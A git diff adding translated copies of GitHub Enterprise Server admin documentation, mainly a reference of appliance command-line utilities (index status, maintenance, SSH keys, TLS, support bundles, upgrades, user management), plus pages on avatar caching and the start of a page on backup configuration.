+> pull-requests-6,true,true,true,true,100.0,6a466ad6b896a3499509990979bf9a18d7d41de3
+> repos-6,true,true,true,true,100.0,6c8b5fbba0fc1e409558db411d05e092c1387082
+> users-5,true,true,true,true,100.0,38984875552bb826c9ec42999f409cb2e95556eb
+> wikis-4,true,true,true,true,100.0,2613dec44bd14e14577803ac1f9e4b7e07a7c234
+```
+
+Print an index summary and pipe results to `column` for readability:
+
+```shell
+$ ghe-es-index-status -do | column -ts,
+> warning: parser/current is loading parser/ruby23, which recognizes
+> warning: 2.3.3-compliant syntax, but you are running 2.3.4.
+> warning: please see https://github.com/whitequark/parser#compatibility-with-ruby-mri.
+> Name             Primary  Searchable  Writable  UpToDate  RepairProgress  Version
+> code-search-1    true     true        true      true      100.0           72e27df7c631b45e026b42bfef059328fa040e17
+> commits-5        true     true        true      true      100.0           7ed28813100c47813ef654c0ee2bb9abf21ab744
+> gists-4          true     true        true      true      100.0           cf8e7d04fcf2564c902e2873c424a279cc41079d
+> issues-4         false    false       false     true      100.0           d0bb08f71eebf6e7b070572aa399b185dbdc8a76
+> issues-5         true     true        true      true      100.0           d0bb08f71eebf6e7b070572aa399b185dbdc8a76
+> projects-2       true     true        true      true      100.0           c5cac1c4b3c66d42e609d088d174dbc3dd44469a
+> pull-requests-6  true     true        true      true      100.0           6a466ad6b896a3499509990979bf9a18d7d41de3
+> repos-6          true     true        true      true      100.0           6c8b5fbba0fc1e409558db411d05e092c1387082
+> users-5          true     true        true      true      100.0           38984875552bb826c9ec42999f409cb2e95556eb
+> wikis-4          true     true        true      true      100.0           2613dec44bd14e14577803ac1f9e4b7e07a7c234
+```
+
+### ghe-legacy-github-services-report
+
+This utility lists repositories on your appliance that use {% data variables.product.prodname_dotcom %} Services, an integration method that will be discontinued on October 1, 2018. Users on your appliance may have set up {% data variables.product.prodname_dotcom %} Services to create notifications for pushes to certain repositories. For more information, see "[Announcing the deprecation of {% data variables.product.prodname_dotcom %} Services](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)" on {% data variables.product.prodname_blog %} or "[Replacing {% data variables.product.prodname_dotcom %} Services](/developers/overview/replacing-github-services)." For more information about this command or for additional options, use the `-h` flag.
+
+```shell
+ghe-legacy-github-services-report
+
+```
+
+### ghe-logs-tail
+
+This utility lets you tail log all relevant log files from your installation. You can pass options in to limit the logs to specific sets. Use the -h flag for additional options.
+
+```shell
+ghe-logs-tail
+```
+
+### ghe-maintenance
+
+This utility allows you to control the state of the installation's maintenance mode. It's designed to be used primarily by the {% data variables.enterprise.management_console %} behind-the-scenes, but it can be used directly. For more information, see "[Enabling and scheduling maintenance mode](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+
+```shell
+ghe-maintenance -h
+```
+
+### ghe-motd
+
+This utility re-displays the message of the day (MOTD) that administrators see when accessing the instance via the administrative shell. The output contains an overview of the instance's state.
+
+```shell
+ghe-motd
+```
+
+### ghe-nwo
+
+This utility returns a repository's name and owner based on the repository ID.  
+
+```shell
+ghe-nwo REPOSITORY_ID
+```
+
+### ghe-org-admin-promote
+
+Use this command to give organization owner privileges to users with site admin privileges on the appliance, or to give organization owner privileges to any single user in a single organization. You must specify a user and/or an organization. The `ghe-org-admin-promote` command will always ask for confirmation before running unless you use the `-y` flag to bypass the confirmation.
+
+You can use these options with the utility:
+
+- The `-u` flag specifies a username. Use this flag to give organization owner privileges to a specific user. Omit the `-u` flag to promote all site admins to the specified organization.
+- The `-o` flag specifies an organization. Use this flag to give owner privileges in a specific organization. Omit the `-o` flag to give owner permissions in all organizations to the specified site admin.
+- The `-a` flag gives owner privileges in all organizations to all site admins.
+- The `-y` flag bypasses the manual confirmation.
+
+This utility cannot promote a non-site admin to be an owner of all organizations. You can promote an ordinary user account to a site admin with [ghe-user-promote](#ghe-user-promote).
+
+Give organization owner privileges in a specific organization to a specific site admin
+
+```shell
+ghe-org-admin-promote -u USERNAME -o ORGANIZATION
+```
+
+Give organization owner privileges in all organizations to a specific site admin
+
+```shell
+ghe-org-admin-promote -u USERNAME
+```
+
+Give organization owner privileges in a specific organization to all site admins
+
+```shell
+ghe-org-admin-promote -o ORGANIZATION
+```
+
+Give organization owner privileges in all organizations to all site admins
+
+```shell
+ghe-org-admin-promote -a
+```
+
+### ghe-reactivate-admin-login
+
+Use this command to immediately unlock the {% data variables.enterprise.management_console %} after {% ifversion enterprise-authentication-rate-limits %}an account lockout. To configure authentication policies for {% data variables.location.product_location %}, see "[Configuring authentication policy rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-authentication-policy-rate-limits)".{% else %}10 failed login attempts in the span of 10 minutes.{% endif %}
+
+```shell
+$ ghe-reactivate-admin-login
+```
+
+
+### ghe-saml-mapping-csv
+
+This utility can help map SAML records.
+
+To create a CSV file containing all the SAML mapping for your {% data variables.product.product_name %} users:
+```shell
+$ ghe-saml-mapping-csv -d
+```
+
+To perform a dry run of updating SAML mappings with new values:
+```shell
+$ ghe-saml-mapping-csv -u -n -f /path/to/file
+```
+
+To update SAML mappings with new values:
+```shell
+$ ghe-saml-mapping-csv -u -f /path/to/file
+```
+
+### ghe-service-list
+
+This utility lists all of the services that have been started or stopped (are running or waiting) on your appliance.
+
+```shell
+$ ghe-service-list
+{% ifversion viewscreen-and-notebooks %}
+active
+  - alambic
+  - alive
+  - aqueduct-lite
+  - authzd
+  - babeld
+  - codeload
+  - consul, process 17114
+  - consul-template, process 19493
+  - driftwood
+  - elasticsearch
+  - enterprise-manage-unicorn, process 9359
+  - ghe-user-disk, process 2545
+  - git-daemon
+  - github-env
+  - github-gitauth
+  - github-resqued
+  - github-stream-processors
+  - github-timerd
+  - github-unicorn
+  - gitrpcd
+  - governor
+  - gpgverify
+  - grafana-server, process 19314
+  - graphite-web, process 20189
+  - hookshot-go
+  - kafka-lite
+  - kredz
+  - lfs-server
+  - mail-replies
+  - memcached
+  - minio
+  - mysql
+  - nginx
+  - nomad, process 19562
+  - pages
+  - postfix
+  - redis
+  - spokesd
+  - spokes-sweeper
+  - svnbridge
+  - token-scanning-api
+  - token-scanning-backfill-worker
+  - token-scanning-hydro-consumer
+  - token-scanning-incremental-worker
+  - token-scanning-udp-backfill-worker
+  - treelights
+  - turboscan
+  - viewscreen
+
+inactive
+  - wireguard
+{% else %}
+start/running
+  - github-resqued, process 12711
+  - github-unicorn, process 12726
+  - github-gitauth, process 12743
+  - git-daemon, process 12755
+  - babeld, process 12771
+  - github-svn-proxy, process 12802
+  - gist-unicorn, process 12832
+  - gist-resqued, process 12881
+  - render-unicorn, process 12939
+  - hookshot-unicorn, process 13076
+  - nodeload2, process 13192
+  - slumlord-unicorn, process 13304
+  - ghe-storage, process 2012
+  - enterprise-manage-unicorn, process 2024
+  - enterprise-manage-resque, process 2053
+stop/waiting
+  - ghe-replica-mode
+  {% endif %}
+```
+
+### ghe-set-password
+
+With `ghe-set-password`, you can set a new password to authenticate into the [{% data variables.enterprise.management_console %}](/enterprise/admin/guides/installation/accessing-the-management-console).
+
+```shell
+ghe-set-password <new_password>
+```
+
+### ghe-setup-network
+
+This utility allows you to configure the primary network interface.
+
+To enter visual mode, which will guide you through configuration of network settings:
+
+```shell
+$ ghe-setup-network -v
+```
+
+Use the -h flag for additional options.
+
+### ghe-ssh-check-host-keys
+
+This utility checks the existing SSH host keys against the list of known leaked SSH host keys.
+
+```shell
+$ ghe-ssh-check-host-keys
+```
+
+If a leaked host key is found the utility exits with status `1` and a message:
+```shell
+> One or more of your SSH host keys were found in the blacklist.
+> Please reset your host keys using ghe-ssh-roll-host-keys.
+```
+
+If a leaked host key was not found, the utility exits with status `0` and a message:
+```shell
+> The SSH host keys were not found in the SSH host key blacklist.
+> No additional steps are needed/recommended at this time.
+```
+
+### ghe-ssh-roll-host-keys
+
+This utility rolls the SSH host keys and replaces them with newly generated keys.
+
+```shell
+$ sudo ghe-ssh-roll-host-keys
+Proceed with rolling SSH host keys? This will delete the
+existing keys in /etc/ssh/ssh_host_* and generate new ones. [y/N]
+
+# Press 'Y' to confirm deleting, or use the -y switch to bypass this prompt
+
+> SSH host keys have successfully been rolled.
+```
+
+### ghe-ssh-weak-fingerprints
+
+This utility returns a report of known weak SSH keys stored on the {% data variables.product.prodname_enterprise %} appliance. You can optionally revoke user keys as a bulk action. The utility will report weak system keys, which you must manually revoke in the [{% data variables.enterprise.management_console %}](/enterprise/admin/guides/installation/accessing-the-management-console).
+
+```shell
+# Print a report of weak user and system SSH keys
+$ ghe-ssh-weak-fingerprints
+
+# Revoke all weak user keys
+$ ghe-ssh-weak-fingerprints --revoke
+```
+
+### ghe-ssl-acme
+
+This utility allows you to install a Let's Encrypt certificate on your {% data variables.product.prodname_enterprise %} appliance. For more information, see "[Configuring TLS](/enterprise/admin/guides/installation/configuring-tls)."
+
+You can use the `-x` flag to remove the ACME configuration.
+
+```shell
+ghe-ssl-acme -e
+```
+
+### ghe-ssl-ca-certificate-install
+
+This utility allows you to install a custom root CA certificate on your {% data variables.product.prodname_enterprise %} server. The certificate must be in PEM format. Furthermore, if your certificate provider includes multiple CA certificates in a single file, you must separate them into individual files that you then pass to `ghe-ssl-ca-certificate-install` one at a time.
+
+Run this utility to add a certificate chain for S/MIME commit signature verification. For more information, see "[About commit signature verification](/enterprise/user/articles/about-commit-signature-verification/)."
+
+Run this utility when {% data variables.location.product_location %} is unable to connect to another server because the latter is using a self-signed SSL certificate or an SSL certificate for which it doesn't provide the necessary CA bundle. One way to confirm this is to run `openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs` from {% data variables.location.product_location %}. If the remote server's SSL certificate can be verified, your `SSL-Session` should have a return code of 0, as shown below.
+
+```
+SSL-Session:
+    Protocol  : TLSv1
+    Cipher    : AES128-SHA
+    Session-ID: C794EBCC3CBC10F747C9AFC029C03C1048FC99CFC34D13D7444E0F267C58DF4C
+    Session-ID-ctx:
+    Master-Key: 02A7C47CFD6EEC87D3C710E9DD87390E04EF82DDD7514AE03127D5DC1945FC0CAEFB5395791AEA598667EFA61B9EA8C5
+    Key-Arg   : None
+    Start Time: 1394581597
+    Timeout   : 300 (sec)
+    Verify return code: 0 (ok)
+```
+
+If, on the other hand, the remote server's SSL certificate can *not* be verified, your `SSL-Session` should have a nonzero return code:
+
+```
+SSL-Session:
+    Protocol  : TLSv1
+    Cipher    : AES128-SHA
+    Session-ID: 82CB288051A6DB66094C50A69CF1292AEE7E54C6B01B659B98AB336F8C33863E
+    Session-ID-ctx:
+    Master-Key: 01B025B2F764043A27919A8D1355AAECD8844FF0831B1D664042334790574A6F4025BAB085D4ED71D71AAB3091B849E5
+    Key-Arg   : None
+    Start Time: 1394581782
+    Timeout   : 300 (sec)
+    Verify return code: 27 (certificate not trusted)
+```
+
+You can use these additional options with the utility:
+- The `-r` flag allows you to uninstall a CA certificate.
+- The `-h` flag displays more usage information.
+
+```shell
+ghe-ssl-ca-certificate-install -c CERTIFICATE_PATH
+```
+
+### ghe-ssl-certificate-setup
+
+This utility allows you to update an SSL certificate for {% data variables.location.product_location %}. 
+
+For more information about this command or for additional options, use the `-h` flag.
+
+```shell
+ghe-ssl-certificate-setup
+```
+
+### ghe-ssl-generate-csr
+
+This utility allows you to generate a private key and certificate signing request (CSR), which you can share with a commercial or private certificate authority to get a valid certificate to use with your instance. For more information, see "[Configuring TLS](/enterprise/admin/guides/installation/configuring-tls)."
+
+For more information about this command or for additional options, use the `-h` flag.
+
+```shell
+ghe-ssl-generate-csr
+```
+
+### ghe-storage-extend
+
+Some platforms require this script to expand the user volume. For more information, see "[Increasing Storage Capacity](/enterprise/admin/guides/installation/increasing-storage-capacity/)".
+
+```shell
+$ ghe-storage-extend
+```
+
+### ghe-version
+
+This utility prints the version, platform, and build of {% data variables.location.product_location %}.
+
+```shell
+$ ghe-version
+```
+
+### ghe-webhook-logs
+
+This utility returns webhook delivery logs for administrators to review and identify any issues.
+
+```shell
+ghe-webhook-logs
+```
+
+To show all failed hook deliveries in the past day:
+{% ifversion ghes %}
+```shell
+ghe-webhook-logs -f -a YYYY-MM-DD
+```
+
+The date format should be `YYYY-MM-DD`, `YYYY-MM-DD HH:MM:SS`, or `YYYY-MM-DD HH:MM:SS (+/-) HH:M`.
+{% else %}
+```shell
+ghe-webhook-logs -f -a YYYYMMDD
+```
+{% endif %}
+
+To show the full hook payload, result, and any exceptions for the delivery:
+{% ifversion ghes %}
+```shell
+ghe-webhook-logs -g DELIVERY_GUID
+```
+{% else %}
+```shell
+ghe-webhook-logs -g DELIVERY_GUID -v
+```
+{% endif %}
+
+## Clustering
+
+### ghe-cluster-status
+
+Check the health of your nodes and services in a cluster deployment of {% data variables.product.prodname_ghe_server %}.
+
+```shell
+$ ghe-cluster-status
+```
+
+### ghe-cluster-support-bundle
+
+This utility creates a support bundle tarball containing important logs from each of the nodes in either a Geo-replication or Clustering configuration.
+
+By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the cluster support bundle directly to {% data variables.product.prodname_enterprise %} support.
+
+To create a standard bundle:
+```shell
+$ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -o' > cluster-support-bundle.tgz
+```
+
+To create an extended bundle:
+```shell
+$ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -x -o' > cluster-support-bundle.tgz
+```
+
+To send a bundle to {% data variables.contact.github_support %}:
+```shell
+$ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -u'
+```
+
+To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket:
+```shell
+$ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -t TICKET_ID'
+```
+
+{% ifversion ghes %}
+### ghe-cluster-failover
+
+Fail over from active cluster nodes to passive cluster nodes. For more information, see "[Initiating a failover to your replica cluster](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)."
+
+```shell
+ghe-cluster-failover
+```
+{% endif %}
+
+### ghe-dpages
+
+This utility allows you to manage the distributed {% data variables.product.prodname_pages %} server.
+
+```shell
+ghe-dpages
+```
+
+To show a summary of repository location and health:
+```shell
+ghe-dpages status
+```
+
+To evacuate a {% data variables.product.prodname_pages %} storage service before evacuating a cluster node:
+```shell
+ghe-dpages evacuate pages-server-UUID
+```
+
+### ghe-spokes
+
+This utility allows you to manage the three copies of each repository on the distributed git servers.
+
+```shell
+ghe-spokes
+```
+
+To show a summary of repository location and health:
+
+```shell
+ghe-spokes status
+```
+
+To show the servers in which the repository is stored:
+
+```shell
+ghe-spokes route
+```
+
+To evacuate storage services on a cluster node:
+
+```shell
+ghe-spokes server evacuate git-server-UUID
+```
+
+### ghe-storage
+
+This utility allows you to evacuate all storage services before evacuating a cluster node.
+
+```shell
+ghe-storage evacuate storage-server-UUID
+```
+
+## Git
+
+### ghe-btop
+
+A `top`-like interface for current Git operations.
+
+```shell
+ghe-btop [ <port number> | --help | --usage ]
+```
+
+#### ghe-governor
+
+This utility helps to analyze Git traffic. It queries _Governor_ data files, located under `/data/user/gitmon`. {% data variables.product.company_short %} holds one hour of data per file, retained for two weeks. For more information, see [Analyzing Git traffic using Governor](https://github.community/t/analyzing-git-traffic-using-governor/13516) in {% data variables.product.prodname_github_community %}.
+
+```bash
+ghe-governor <subcommand> <column> [options]
+```
+
+```
+ghe-governor -h
+Usage: ghe-governor [-h] <subcommand> args
+
+OPTIONS:
+  -h | --help        Show this message.
+
+Valid subcommands are:
+  aggregate              Find the top (n) groups of queries for a grouping function and metric
+  health                 Summarize all recent activity on one or more servers
+  top                    Find the top (n) queries for a given metric
+  dump                   Dump individual operations
+  test-quotas            Check quota information
+
+Try ghe-governor <subcommand> --help for more information on the arguments each subcommand takes.
+```
+
+### ghe-repo
+
+This utility allows you to change to a repository's directory and open an interactive shell as the `git` user. You can perform manual inspection or maintenance of a repository via commands like `git-*` or `git-nw-*`.
+
+```shell
+ghe-repo USERNAME/REPONAME
+```
+
+### ghe-repo-gc
+
+This utility manually repackages a repository network to optimize pack storage. If you have a large repository, running this command may help reduce its overall size. {% data variables.product.prodname_enterprise %} automatically runs this command throughout your interaction with a repository network.
+
+You can add the optional `--prune` argument to remove unreachable Git objects that aren't referenced from a branch, tag, or any other ref. This is particularly useful for immediately removing [previously expunged sensitive information](/enterprise/user/articles/remove-sensitive-data/).
+
+{% warning %}
+
+**Warning**: Before using the `--prune` argument to remove unreachable Git objects, put {% data variables.location.product_location %} into maintenance mode, or ensure all repositories within the same repository network are locked. For more information, see "[Enabling and scheduling maintenance mode](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode)."
+
+{% endwarning %}
+
+```shell
+ghe-repo-gc USERNAME/REPONAME
+```
+
+## {% data variables.product.prodname_actions %}
+
+### ghe-actions-check
+
+This utility checks that all services for {% data variables.product.prodname_actions %} are healthy. For more information, see  "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server)" and "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise)."
+
+```shell
+ghe-actions-check
+```
+
+### ghe-actions-precheck
+
+This utility tests the blob storage configuration for {% data variables.product.prodname_actions %} on {% data variables.location.product_location %}. You can use the utility to verify your storage configuration before you enable {% data variables.product.prodname_actions %} for your instance.
+
+For more information about the configuration of {% data variables.product.prodname_actions %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server)."
+
+```shell
+ghe-actions-precheck -p [PROVIDER] -cs ["CONNECTION-STRING"]
+```
+
+If your storage system is configured correctly, you'll see the following output.
+
+```
+All Storage tests passed
+```
+
+## Import and export
+
+### ghe-migrator
+
+`ghe-migrator` is a hi-fidelity tool to help you migrate from one GitHub instance to another. You can consolidate your instances or move your organization, users, teams, and repositories from GitHub.com to {% data variables.product.prodname_enterprise %}.
+
+For more information, please see our guides on [migrating data to and from your enterprise](/enterprise/admin/user-management/migrating-data-to-and-from-your-enterprise/).
+
+### git-import-detect
+
+Given a URL, detect which type of source control management system is at the other end. During a manual import this is likely already known, but this can be very useful in automated scripts.
+```shell
+git-import-detect
+```
+
+### git-import-hg-raw
+
+This utility imports a Mercurial repository to this Git repository. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
+```shell
+git-import-hg-raw
+```
+
+### git-import-svn-raw
+
+This utility imports Subversion history and file data into a Git branch. This is a straight copy of the tree, ignoring any trunk or branch distinction. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
+```shell
+git-import-svn-raw
+```
+
+### git-import-tfs-raw
+
+This utility imports from Team Foundation Version Control (TFVC). For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
+```shell
+git-import-tfs-raw
+```
+
+### git-import-rewrite
+
+This utility rewrites the imported repository. This gives you a chance to rename authors and, for Subversion and TFVC, produces Git branches based on folders. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
+```shell
+git-import-rewrite
+```
+
+{% ifversion ghes > 3.3 %}
+
+## Security
+
+### ghe-find-insecure-git-operations
+
+This utility searches your instance's logs and identifies Git operations over SSH that use insecure algorithms or hash functions, including DSA, RSA-SHA-1, HMAC-SHA-1, and CBC ciphers. You can use the output to support each client's transition to a more secure SSH connection. For more information, see [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server){% ifversion ghes < 3.6 %}.{% elsif ghes > 3.5 %} and "[Configuring SSH connections to your instance](/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance)."{% endif %}
+
+```shell
+ghe-find-insecure-git-operations
+```
+
+{% endif %}
+
+## Support
+
+### ghe-diagnostics
+
+This utility performs a variety of checks and gathers information about your installation that you can send to support to help diagnose problems you're having.
+
+Currently, this utility's output is similar to downloading the diagnostics info in the {% data variables.enterprise.management_console %}, but may have additional improvements added to it over time that aren't available in the web UI. For more information, see "[Creating and sharing diagnostic files](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files)."
+
+```shell
+ghe-diagnostics
+```
+
+### ghe-support-bundle
+
+{% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %}
+This utility creates a support bundle tarball containing important logs from your instance.
+
+By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the support bundle directly to {% data variables.product.prodname_enterprise %} support.
+
+To create a standard bundle:
+```shell
+$ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -o' > support-bundle.tgz
+```
+
+To create an extended bundle:
+```shell
+$ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -x -o' > support-bundle.tgz
+```
+
+To send a bundle to {% data variables.contact.github_support %}:
+```shell
+$ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -u'
+```
+
+To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket:
+
+```shell
+$ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -t TICKET_ID'
+```
+
+### ghe-support-upload
+
+This utility sends information from your appliance to {% data variables.product.prodname_enterprise %} support. You can either specify a local file, or provide a stream of up to 100MB of data via `STDIN`. The uploaded data can optionally be associated with a support ticket.
+
+To send a file to {% data variables.contact.github_support %} and associate the file with a ticket:
+```shell
+ghe-support-upload -f FILE_PATH -t TICKET_ID
+```
+
+To upload data via `STDIN` and associating the data with a ticket:
+```shell
+ghe-repl-status -vv | ghe-support-upload -t TICKET_ID -d "Verbose Replication Status"
+```
+
+In this example, `ghe-repl-status -vv` sends verbose status information from a replica appliance. You should replace `ghe-repl-status -vv` with the specific data you'd like to stream to `STDIN`, and `Verbose Replication Status` with a brief description of the data. {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %}
+
+## Upgrading {% data variables.product.prodname_ghe_server %}
+
+### ghe-upgrade
+
+This utility installs or verifies an upgrade package. You can also use this utility to roll back a patch release if an upgrade fails or is interrupted. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)."
+
+To verify an upgrade package:
+```shell
+ghe-upgrade --verify UPGRADE-PACKAGE-FILENAME
+```
+
+To install an upgrade package:
+```shell
+ghe-upgrade UPGRADE-PACKAGE-FILENAME
+```
+
+{% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %}
+
+### ghe-upgrade-scheduler
+
+This utility manages scheduled installation of upgrade packages. You can show, create new, or remove scheduled installations. You must create schedules using cron expressions. For more information, see the [Cron Wikipedia entry](https://en.wikipedia.org/wiki/Cron#Overview).
+
+To schedule a new installation for a package:
+```shell
+$ ghe-upgrade-scheduler -c "0 2 15 12 *" UPGRADE-PACKAGE-FILENAME
+```
+
+To show scheduled installations for a package:
+```shell
+$ ghe-upgrade-scheduler -s UPGRADE PACKAGE FILENAME
+> 0 2 15 12 * /usr/local/bin/ghe-upgrade -y -s UPGRADE-PACKAGE-FILENAME > /data/user/common/UPGRADE-PACKAGE-FILENAME.log 2>&1
+```
+
+To remove scheduled installations for a package:
+```shell
+$ ghe-upgrade-scheduler -r UPGRADE PACKAGE FILENAME
+```
+
+### ghe-update-check
+
+This utility will check to see if a new patch release of {% data variables.product.prodname_enterprise %} is available. If it is, and if space is available on your instance, it will download the package. By default, it's saved to */var/lib/ghe-updates*. An administrator can then [perform the upgrade](/enterprise/admin/guides/installation/updating-the-virtual-machine-and-physical-resources/).
+
+A file containing the status of the download is available at */var/lib/ghe-updates/ghe-update-check.status*.
+
+To check for the latest {% data variables.product.prodname_enterprise %} release, use the `-i` switch.
+
+```shell
+$ ssh -p 122 admin@HOSTNAME -- 'ghe-update-check'
+```
+
+## User management
+
+### ghe-license-usage
+
+This utility exports a list of the installation's users in JSON format. If your instance is connected to {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} uses this information for reporting licensing information to {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %} ](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+
+By default, the list of users in the resulting JSON file is encrypted. Use the `-h` flag for more options.
+
+```shell
+ghe-license-usage
+```
+
+### ghe-org-membership-update
+
+This utility will enforce the default organization membership visibility setting on all members in your instance. For more information, see "[Configuring visibility for organization membership](/enterprise/admin/guides/user-management/configuring-visibility-for-organization-membership)." Setting options are `public` or `private`.
+
+```shell
+ghe-org-membership-update --visibility=SETTING
+```
+
+### `ghe-user-csv`
+
+This utility exports a list of all the users in the installation into CSV format. The CSV file includes the email address, which type of user they are (e.g., admin, user), how many repositories they have, how many SSH keys, how many organization memberships, last logged IP address, etc. Use the `-h` flag for more options.
+
+```shell
+ghe-user-csv -o > users.csv
+```
+
+### ghe-user-demote
+
+This utility demotes the specified user from admin status to that of a regular user. We recommend using the web UI to perform this action, but provide this utility in case the `ghe-user-promote` utility is run in error and you need to demote a user again from the CLI.
+
+```shell
+ghe-user-demote USERNAME
+```
+
+### ghe-user-promote
+
+This utility promotes the specified user account to a site administrator.
+
+```shell
+ghe-user-promote USERNAME
+```
+
+### ghe-user-suspend
+
+This utility suspends the specified user, preventing them from logging in, pushing, or pulling from your repositories.
+
+```shell
+ghe-user-suspend USERNAME
+```
+
+### ghe-user-unsuspend
+
+This utility unsuspends the specified user, granting them access to login, push, and pull from your repositories.
+
+```shell
+ghe-user-unsuspend USERNAME
+```
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-applications.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-applications.md
new file mode 100644
index 0000000000..07a9b2af5d
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-applications.md
@@ -0,0 +1,25 @@
+---
+title: Configuring applications
+intro: 'You can configure internal application settings for {% data variables.location.product_location %}.'
+redirect_from:
+  - /enterprise/admin/installation/configuring-applications
+  - /enterprise/admin/configuration/configuring-applications
+  - /admin/configuration/configuring-applications
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+---
+## Adjusting image caching
+
+You can choose the amount of time that {% data variables.location.product_location %} caches avatars. When you increase the cache time, you increase the amount of time a user's avatar will take to load. Configuring the cache time with too low a value can overload {% data variables.location.product_location %} work processes. 
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+3. In the left sidebar, click **Applications**.
+![Applications tab in the settings sidebar](/assets/images/enterprise/management-console/sidebar-applications.png)
+4. Under "Avatar image cache time (seconds)", type the number of seconds that you would like {% data variables.location.product_location %} to cache avatar images.
+![Avatar image caching form field](/assets/images/enterprise/management-console/add-image-caching-value-field.png)
+{% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md
new file mode 100644
index 0000000000..a8fecf4017
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md
@@ -0,0 +1,257 @@
+---
+title: Configuring backups on your appliance
+shortTitle: Configuring backups
+redirect_from:
+  - /enterprise/admin/categories/backups-and-restores
+  - /enterprise/admin/articles/backup-and-recovery
+  - /enterprise/admin/articles/backing-up-github-enterprise
+  - /enterprise/admin/articles/restoring-github-enterprise
+  - /enterprise/admin/articles/backing-up-repository-data
+  - /enterprise/admin/articles/restoring-enterprise-data
+  - /enterprise/admin/articles/restoring-repository-data
+  - /enterprise/admin/articles/backing-up-enterprise-data
+  - /enterprise/admin/guides/installation/backups-and-disaster-recovery
+  - /enterprise/admin/installation/configuring-backups-on-your-appliance
+  - /enterprise/admin/configuration/configuring-backups-on-your-appliance
+  - /admin/configuration/configuring-backups-on-your-appliance
+intro: 'As part of a disaster recovery plan, you can protect production data on {% data variables.location.product_location %} by configuring automated backups.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Backups
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+---
+## About {% data variables.product.prodname_enterprise_backup_utilities %}
+
+{% data variables.product.prodname_enterprise_backup_utilities %} is a backup system you install on a separate host, which takes backup snapshots of {% data variables.location.product_location %} at regular intervals over a secure SSH network connection. You can use a snapshot to restore an existing {% data variables.product.prodname_ghe_server %} instance to a previous state from the backup host.
+
+Only data added since the last snapshot will transfer over the network and occupy additional physical storage space. To minimize performance impact, backups are performed online under the lowest CPU/IO priority. You do not need to schedule a maintenance window to perform a backup.
+
+Major releases and version numbers for {% data variables.product.prodname_enterprise_backup_utilities %} align with feature releases of {% data variables.product.product_name %}. We support the four most recent versions of both products. For more information, see "[{% data variables.product.product_name %} releases](/admin/all-releases)."
+
+For more detailed information on features, requirements, and advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation.
+
+## Prerequisites
+
